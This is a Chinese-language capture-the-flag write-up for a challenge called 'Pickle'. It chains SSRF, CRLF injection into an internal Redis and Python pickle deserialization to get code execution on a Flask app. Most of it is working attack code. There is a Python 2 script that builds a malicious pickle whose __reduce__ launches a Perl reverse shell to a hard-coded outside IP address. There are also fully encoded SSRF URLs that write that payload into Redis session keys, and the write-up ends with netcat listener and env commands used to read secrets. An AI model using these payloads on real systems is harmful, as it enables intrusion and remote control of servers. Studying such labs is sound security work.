Pickle + Redis SSRF 反序列化漏洞利用

题目信息

  • 题目名称: Pickle
  • 漏洞类型: SSRF + CRLF + Python 反序列化
  • 提示: SSRF+CRLF+python反序列化漏洞
  • 关键端口: 6379(Redis)

漏洞原理

  1. Python 2 CRLF 漏洞

在 Python 2 的某些库(如 httplib 模块)中,存在 URL 解析的 CRLF 注入漏洞。当用户输入的 URL 包含 %0D%0A(即 \r\n)时,这些换行符会被正确传递,而不是被过滤或转义。

  1. SSRF 漏洞

服务端存在 SSRF 漏洞,可以发送请求到内网地址,包括内网的 Redis 服务(端口 6379)。

image-20260208231515236

  1. CRLF 注入控制 Redis

通过 SSRF 访问 Redis 时,利用 CRLF 注入可以在 HTTP 请求路径中构造 Redis 命令。关键技巧是使用双 CRLF(_%0D%0D%0A),确保换行符被正确传递到 Redis。

  1. Session 存储

Flask 的 session 存储在 Redis 中,格式为 session:<session_id>。Session 数据经过 pickle 序列化和 Base64 编码后存储。

  1. Pickle 反序列化 RCE

当 Flask 从 Redis 读取 session 并反序列化时,如果数据是恶意的 pickle 对象,会触发 __reduce__ 或其他魔术方法执行任意代码。

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─────────────────────────────────────────────────────────────┐
│ │
│ 1. SSRF 探测内网端口 │
│ ↓ │
│ 2. 发现 Redis (6379) 开放 │
│ ↓ │
│ 3. 通过 CRLF 注入控制 Redis 命令 │
│ ↓ │
│ 4. 写入恶意 session 到 Redis │
│ ↓ │
│ 5. 触发反序列化获取反弹 Shell │
│ ↓ │
│ 6. 获取 Flag │
│ │
└─────────────────────────────────────────────────────────────┘

步骤详解

步骤 1: SSRF 端口探测

  • 提交 http://127.0.0.1:6379/ 测试 Redis 是否开放
  • 根据错误信息判断端口状态

步骤 2: 确认 CRLF 注入

  • 使用双 CRLF 技巧 _%0D%0D%0A 构造 URL
  • 提交简单的 Redis 命令验证注入效果
  • 根据 Redis 错误信息确认命令被正确解析

步骤 3: 生成恶意 Pickle Payload

  • 使用 Python 2 生成 pickle payload
  • 选择能返回 dict 类型的 payload(避免 session 初始化错误)
  • 使用 Perl 反弹 shell 命令:perl -e 'use Socket;...'
  • 将 payload Base64 编码

步骤 4: 写入恶意 Session

  • 使用 Redis 的 SET 命令清空旧 session
  • 使用 APPEND 命令分批写入 Base64 编码的 pickle 数据
  • session key 使用 session:1(避免重复)

步骤 5: 触发反序列化

  • 刷新靶场页面
  • Flask 从 Redis 读取 session
  • Pickle 反序列化触发 __reduce__ 执行反弹 shell

步骤 6: 获取 Flag

  • 连接成功后,使用 env 命令查看环境变量
  • flag 存储在环境变量中:env | grep -i flag

Payload 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding: utf-8
import cPickle as cpickle
import urllib
import base64

# 使用 dict 的 __reduce__,通过 eval 执行命令后返回空 dict
class exp(dict):
def __reduce__(self):
# Perl 反弹 shell 到 115.29.231.140:8888
cmd = """perl -e 'use Socket;$i="115.29.231.140";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
# eval 先执行命令,然后返回 {}
return (eval, ('__import__("os").system(%s) or {}' % repr(cmd),))

e = exp()
pickle_payload = cpickle.dumps(e)

# Base64 编码
base64_payload = base64.b64encode(pickle_payload)

session_key = 'session:1'

# Redis 命令
clear_cmd = '*3\r\n$3\r\nSET\r\n$9\r\n%s\r\n$0\r\n' % session_key
append_cmd = '*3\r\n$6\r\nAPPEND\r\n$9\r\n%s\r\n$%d\r\n%s\r\n' % (session_key, len(base64_payload), base64_payload)

# 使用双 CRLF 技巧 + URL 编码
base_url = 'http://127.0.0.1:6379/_%0D%0D%0A'

# 完整 URL
clear_url = base_url + urllib.quote(clear_cmd)
append_url = base_url + urllib.quote(append_cmd)

生成的 Payload

清空命令

1
http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%249%0D%0Asession%3A1%0D%0A%240%0D%0A

APPEND 命令

1
http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%246%0D%0AAPPEND%0D%0A%249%0D%0Asession%3A1%0D%0A%24400%0D%0AY19fYnVpbHRpbl9fCmV2YWwKcDEKKFMnX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oXCdwZXJsIC1lIFxcXCd1c2UgU29ja2V0OyRpPSIxMTUuMjkuMjMxLjE0MCI7JHA9ODg4ODtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigdaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI%2BJlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1xcXCdcJykgb3Ige30nCnRScDIKLg%3D%3D%0A

攻击执行

1
2
3
4
5
6
7
8
9
# 1. 在自己的服务器监听反弹 shell 端口
nc -lvnp 8888

# 2. 依次提交清空和 APPEND 命令

# 3. 刷新靶场页面触发反序列化

# 4. 获取反弹 shell 后,查找 flag
env

关键技术点

  1. 双 CRLF 技巧

使用 _%0D%0D%0A 而不是 %0D%0A,是因为在 URL 路径中,需要确保换行符被正确传递。双 CRLF 确保第一个 CRLF 用于结束 HTTP 路径,第二个 CRLF 开始 Redis 命令。

  1. Pickle 返回类型处理

Flask 的 session 反序列化要求数据必须是 dict 或类似可迭代类型。因此 payload 的 __reduce__ 必须返回合法的 dict。

使用 eval 方式:eval('__import__("os").system(cmd) or {}) 可以确保返回 {},同时执行命令。

  1. Python 2 低版本 CRLF 漏洞

Python 2 的 httplib 模块在处理 URL 时存在 CRLF 注入漏洞。当 URL 参数经过 httplib 处理后再用于 HTTP 请求时,URL 编码的 CRLF 会被还原为真实的换行符。

  1. Session 机制

Flask 使用 session cookie 来标识用户 session,session 数据存储在 Redis 中,读取时会自动反序列化。控制了 Redis 中的 session 数据就控制了用户会话。

获取 Flag

反弹 shell 成功后,flag 存储在环境变量中:

1
env 

总结

本题利用了多个漏洞的组合:

  1. SSRF - 服务端请求伪造,访问内网 Redis
  2. CRLF 注入 - 篡改 HTTP 请求,注入 Redis 命令
  3. Redis 数据写入 - 通过 SSRF+CRLF 控制 Redis,写入恶意数据
  4. Pickle 反序列化 - 恶意 session 数据在反序列化时执行任意代码